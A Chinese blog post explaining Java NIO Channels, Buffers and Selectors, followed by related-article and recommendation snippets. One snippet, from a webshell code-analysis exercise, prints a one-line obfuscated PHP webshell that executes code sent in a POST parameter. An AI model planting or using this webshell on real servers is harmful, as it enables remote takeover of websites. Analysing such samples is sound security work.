本篇文章参考自并发编程网

一、NIO 的概述

NIO 由以下几个核心组成

  • Channels
  • Buffers
  • Selectors 选择器用于监听多个通道的事件(如:链接打开、数据达到),单个线程可以监听多个数据通道。

传统的 IO 基于字节流和字符流操作,而 NIO 基于 Channel 和 Buffer 操作,数据总是从通道读取到缓冲区,或从缓冲区写入到通道中。NIO 可以非阻塞的使用,如:当线程从通道读取数据到缓冲区时,线程还是可以进行其他事情的。当数据被读取到缓冲区后,线程可以继续处理它。从缓冲区写入通道也类似。

1 Channel

Channel 有点像流,流是单向的,但它是双向的,数据可以从后 Channel 读取到 Buffer 中,也可以从 Buffer 写入到 Channel 中。关于 Channel 有以下几种

  • FileChannel
  • SocketChannel //通过 TCP 读写网络中的数据
  • ServerSocketChannel //监听 TCP 链接,对于每个新进链接都会创建一个 SocketChannel
  • DatagramChannel //通过 UDP 读写网络中的数据

1.1 FileChannel

FileChannel 是一个读、写、映射、操作文件的通道。可通过 FileInputStream、FileOutputStream、RandomAccessFile 的 getChannel() 方法获取文件通道的对象,这个文件通道被连接到相同的底层文件。通过 FileInputStream 获取到的文件通道是只读的,通过 FileOutputStream 获取到的文件通道是只写的,另外通过 RandomAccessFile 获取的文件通道可以指定读写方式。

FileChannel 中的部分方法

  • read() //可以将数据读取到 Buffer 中,返回有多少字节被读取到。
  • write() //传入一个 Buffer ,将其数据写入 FileChannel。
  • size() //返回所关联文件大小
  • position(long pos) //设置当前读取位置
  • truncate() //截取一个文件,指定长度后面的部分将被删除
  • force() //将通道中尚未写入磁盘的数据强制写到磁盘上。
  • transferTo() //方法可以将数据从 FileChannel 传输到其他 Channel 中。

1.2 SocketChannel

SocketChannel 是一个连接到 TCP 网络套接字的通道。其创建方式有两种:通过调用 open() 方法或者是ServerSocketChannel 获取链接后创建。

我们可以将 configureBlocking(boolean) 方法的值设为 false 使 SocketChannel 成为非阻塞模式,设置之后就可以在异步模式下调用 connect()、read() 和 write() 了。在非阻塞模式下 read() 方法有可能在尚未读取到任何数据时就返回了,所以需要关注它的返回值来确定读取了多少字节。在非阻塞模式下 write() 方法在未写出内容时可能就已经返回,所以需要在循环中调用 write()。

1.3 ServerSocketChannel

ServerSocketChannel 是用来监听 TCP 链接通道的,与 ServerSocket 一样。通过 open() 方法可以创建其对象。通过 accept() 方法来监听新链接。我们可以利用 configureBlocking(boolean) 方法将其设为非阻塞模式,在此模式下 accept() 会立刻返回,如果还没有新链接进来返回的将是 null。

1.4 DatagramChannel

DatagramChannel 是一个能收发 UDP 包的通道。其 receive() 方法会将接收到的数据包内容复制到指定的 Buffer,如果 Buffer 容不下这些数据,多出的数据则会被丢弃。通过 send() 方法可以发送数据。

2 Buffer

Buffer 用于和 NIO 通道进行交互,缓冲区本质上是一块可以写入数据、读取数据的内存。

关于 Buffer 读写数据一般遵循以下四个步骤

  1. 分配空间(ByteBuffer buf = ByteBuffer.allocate(1024);)
  2. 写入数据到 Buffer(int reads = fileChannel.read(buf);)
  3. 调用 flip() 方法切换到读模式(buf.flip();)
  4. 从 Buffer 中读取数据(buf.get();)
  5. 调用 clear() 方法或 compact() 方法

写入数据时,Buffer 会记录下写了多少数据。读取数据,通过 flip() 方法将“写模式”切换到“读模式”后,可以读取之前写入到 Buffer 的数据。当读取完所有数据后,需要调用 clear() 方法或 compact() 方法清空缓冲区,让它可以被再次写入。clear() 方法会清空整个缓冲区,compact() 方法只会清除已经读过的数据,且未读的数据都被移到缓冲区的起始处,新写入的数据将放置在未读数据后面。

缓冲区本质时一块可以写入数据、读取数据的内存,这块内存被包装成 NIO Buffer 对象,并提供了一组方法,来方便访问该内存。我们来看一下 Buffer 中的三个属性:capacity (缓冲区总大小)、position (写数据时的位置)、limit (能读到多少数据)、mark(记录当前position的前一个位置)。

当我们通过 ByteBuffer.allocate(11) 方法创建了长度为11的 byte 的数组缓冲区,初始状态如下图

当我们写入5个字节后,变化如下图所示

当我们需要将缓冲区的5个字节写入到 Channel 的通信信道时,我们调用 ByteBuffer.filp() 方法,position 变为0,并将 limit 为之前 position 的值,变化如下图

关于 Buffer 有以下几种

  • ByteBuffer
  • MappedByteBuffer
  • CharBuffer
  • DoubleBuffer
  • FloatBuffer
  • IntBuffer
  • LongBuffer
  • ShortBuffer

3 Selector

Selector 允许单个线程处理多个 Channel。如果应用打开了多个链接(通道),但每个链接的流量都很低,使用 Selector 就会很方便,例如在一个聊天服务器中。

我们通过 Selector.open() 方法可以创建一个 Selector,然后将 Channel 注册到 Selector 上。

[Java] I/O底层原理之三:NIO的更多相关文章

  1. java面试-CAS底层原理

    一.CAS是什么? 比较并交换,它是一条CPU并发原语. CAS是一种无锁算法,CAS有3个操作数,内存值V,旧的预期值A,要修改的新值B.当且仅当预期值A和内存值V相同时,将内存值V修改为B,否则什 ...

  2. [Java] I/O底层原理之一:字符流、字节流及其源码分析

    关于 I/O 的类可以分为四种: 关于字节的操作:InputStream 和 OutPutStream: 关于字符的操作:Writer 和 Reader: 关于磁盘的操作:File: 关于网络的操作: ...

  3. Java 注解及其底层原理

    目录 什么是注解? 注解的分类 Java自带的标准注解 元注解 @Retention @Documented @Target @Inherited @Repeatable 自定义注解 自定义注解的读取 ...

  4. 基于JAVA Socket的底层原理分析及工具实现

    前言 在工作开始之前,我们先来了解一下Socket 所谓Socket,又被称作套接字,它是一个抽象层,简单来说就是存在于不同平台(os)的公共接口.学过网络的同学可以把它理解为基于传输TCP/IP协议 ...

  5. [Java] I/O底层原理之二:网络IO及网络编程

    首先我们来看一下当访问一个域名时它的过程 查找 DNS 首先,浏览器检查缓存中有没有 浏览器缓存中没有,则查找操作系统中有没有配置这个对应关系 如果操作系统中也没有,则去 DNS 查找,即发送DNS报 ...

  6. Java 总结 数据底层原理 【包括 ArrayList、LinkedList、hash table、HashMap、Hashtable、ConcurrentHashMap、hash code、HashSet、LinkedHashMap、LinkedHashSet】

    1.ArrayList (1)底层是由动态数组实现的[使用了List接口]. (2)动态数组是长度不固定,随着数据的增多而变长. (3)如果不指定,默认长度为10,当添加的元素超过当前数组的长度时,会 ...

  7. 并发之volatile底层原理

    15.深入分析Volatile的实现原理 14.java多线程编程底层原理剖析以及volatile原理 13.Java中Volatile底层原理与应用 12.Java多线程-java.util.con ...

  8. (前篇:NIO系列 推荐阅读) Java NIO 底层原理

    出处: Java NIO 底层原理 目录 1.1. Java IO读写原理 1.1.1. 内核缓冲与进程缓冲区 1.1.2. java IO读写的底层流程 1.2. 四种主要的IO模型 1.3. 同步 ...

  9. Java面试底层原理

    面试发现经常有些重复的面试问题,自己也应该学会记录下来,最好自己能做成笔记,在下一次面的时候说得有条不紊,深入具体,面试官想必也很开心.以下是我个人总结,请参考: HashSet底层原理:(问了大几率 ...

随机推荐

  1. 蓝牙重启case之:hardware error

    蓝牙的通信分为host和controller,host端发送数据和命令到controller,controller 上传event以及数据到host端,这要求上下两端的通信要求状态一致性. 当发生状态 ...

  2. [CF1067D]Computer Game[凸包/斜率优化+倍增+矩阵乘法]

    题意 你有 \(n\) 个任务,初始收益为 \(a\) ,共 \(t\) 轮游戏,每轮可以选择完成一个任务(可以做多次),完成之后可以给任意任务升级,升级之后的任务收益为 \(b\) ,每个任务还有完 ...

  3. Paxos算法浅析

    前言在文章2PC/3PC到底是啥中介绍了2PC这种一致性协议,从文中了解到2PC更多的被用在了状态一致性上(分布式事务),在数据一致性中很少被使用:而Paxos正是在数据一致性中被广泛使用,在过去十年 ...

  4. 浅谈android Service和BroadCastReceiver

    1.题记 Android中的服务和windows中的服务是类似的东西,服务一般没有用户操作界面,它运行于系统中不容易被用户发觉,可以使用它开发如监控之类的程序. 广播接收者(BroadcastRece ...

  5. unity中camera摄像头控制详解

    目录 1. 缘起 2. 开发 2.1. 建立项目 2.2. 旋转 2.2.1. 四元数 2.3. 移动 2.3.1. 向量操作 2.4. 镜头拉伸 2.5. 复位 2.6. 优化 1 缘起 我们的产品 ...

  6. 基于神念TGAM的脑波小车(1)

    作者声明:此博客是作者的毕设心得,拿来分享. 拿到模块,在网上查了一圈,发现基本没什么有用的资料,有也是一些废话,经过我几个月的攻克,现在已初步搞定,分享给大家. 废话不多说,直接步入正题. 这是通过 ...

  7. WebShell代码分析溯源(第1题)

    <?php $POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST['assert']);?> assert,是php ...

  8. ajax请求超时判断(转载)

    ajax请求时有个参数可以借鉴一下 var ajaxTimeOut = $.ajax({ url:'', //请求的URL timeout : 1000, //超时时间设置,单位毫秒 type : ' ...

  9. Sprint计划会议内容

    项目名称:蹭课神器 会议内容 首先我们讨论了项目的工作量及实施流程 一.工作认领 二.界面的总体规划 三.主要功能的设计 四.设计数据库 五.编写项目报告 六.软件测试和推广 然后我们进行了工作认领, ...

  10. Four-Operations

    开发环境:Eclipse 结对小伙伴:201306114416 陈键 (http://www.cnblogs.com/be-the-one/) 201306114452 吴舒婷 (http://www ...